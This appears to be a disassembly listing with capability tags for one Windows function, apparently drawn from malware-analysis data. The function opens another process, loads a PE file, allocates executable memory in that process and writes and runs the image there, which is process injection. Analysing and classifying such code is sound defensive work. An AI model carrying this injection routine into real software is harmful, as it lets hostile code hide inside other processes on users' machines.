Function at 0x405b90
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Get system information on windows
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x44
push ebx
xor ebx, ebx
push esi
mov esi, eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp esi, ebx
jne 0x405bb1
pop esi
xor eax, eax
pop ebx
add esp, 0x44
ret
mov eax, dword [esp + 0x50]
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 8], eax
cmp eax, ebx
je 0x405ebf
push ebp
push edi
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
xor ebp, ebp
push esi
mov dword [esp + 0x34], ebp
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405c26
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x14], eax
cmp eax, ebx
jbe 0x405c26
mov esi, eax
push esi
call fcn.0045188b
add esp, 4
push ebx
lea ecx, [esp + 0x30]
push ecx
push esi
push eax
push edi
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ebp, dword [esp + 0x18]
cmp edi, ebx
je 0x405c31
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, ebx
je 0x405ebd
cmp dword [esp + 0x14], ebx
jbe 0x405ebd
mov edx, 0x5a4d
cmp word [ebp], dx
jne 0x405ebd
mov esi, dword [ebp + 0x3c]
add esi, ebp
cmp dword [esi], 0x4550
mov dword [esp + 0x24], esi
jne 0x405ebd
mov eax, 0x14c
cmp word [esi + 4], ax
jne 0x405ebd
mov ebx, dword [esi + 0x38]
test bl, 1
jne 0x405ebd
movzx eax, word [esi + 6]
movzx ecx, word [esi + 0x14]
lea ecx, [ecx + esi + 0x18]
test eax, eax
jle 0x405cb8
add ecx, 0xc
mov edi, eax
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
test edx, edx
jne 0x405ca4
add eax, ebx
jmp 0x405ca6
add eax, edx
cmp eax, dword [esp + 0x1c]
jbe 0x405cb0
mov dword [esp + 0x1c], eax
add ecx, 0x28
sub edi, 1
jne 0x405c97
lea edx, [esp + 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ecx, dword [esp + 0x34]
mov edx, dword [esi + 0x50]
lea eax, [ecx - 1]
not eax
lea ebp, [edx + ecx - 1]
and ebp, eax
jbe 0x405ebd
mov edx, dword [esp + 0x1c]
lea ecx, [ecx + edx - 1]
and ecx, eax
cmp ebp, ecx
jne 0x405ebd
mov edx, dword [esi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push ebp
push edx
call esi
mov ebx, eax
test ebx, ebx
jne 0x405d1c
push 4
push 0x3000
push ebp
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x405ebd
mov eax, dword [esp + 0x10]
push 0x40
push 0x3000
push ebp
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp ebx, edi
je 0x405d6f
push 0x8000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 4
push 0x3000
push ebp
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x405ebd
mov ecx, dword [esp + 0x10]
push 0x40
push 0x3000
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
push ebp
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x405e73
cmp ebx, edi
je 0x405dfd
xor esi, esi
push 4
push 0x3000
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x405def
mov ecx, dword [esp + 0x10]
push 0x40
push 0x3000
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x405def
cmp ebx, edi
je 0x405df7
push 0x8000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [esp + 0x10]
push 0x8000
push ebp
push edi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
inc esi
xor ebx, ebx
xor edi, edi
cmp esi, 0x64
jl 0x405d90
jmp 0x405df7
cmp edi, ebx
jne 0x405ebd
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 0x54]
push 4
push 0x1000
push ecx
push ebx
call esi
mov dword [esp + 0x1c], eax
test eax, eax
je 0x405ebd
mov edx, dword [esp + 0x24]
mov ecx, dword [edx + 0x54]
mov esi, dword [esp + 0x18]
push ecx
push esi
push eax
call fcn.00453d50
mov esi, dword [esi + 0x3c]
add esi, dword [esp + 0x28]
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
push esi
push edx
push eax
mov dword [esi + 0x34], ebx
call fcn.00405850
add esp, 0x18
test eax, eax
je 0x405ebd
push ebx
call fcn.00405920
add esp, 4
test eax, eax
je 0x405ebd
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
push ebp
push ebx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x405e85
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x28]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x44
ret
cmp dword [esp + 0x20], 0
jbe 0x405ebd
push 0x8000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.00405a30
test eax, eax
je 0x405ebd
mov esi, dword [esi + 0x28]
test esi, esi
je 0x405ebd
lea ecx, [esi + edi]
mov esi, dword [esp + 0x10]
push edi
call fcn.00405a70
add esp, 4
mov dword [esp + 0x28], eax
pop edi
pop ebp
mov eax, dword [esp + 0x20]
pop esi
pop ebx
add esp, 0x44
ret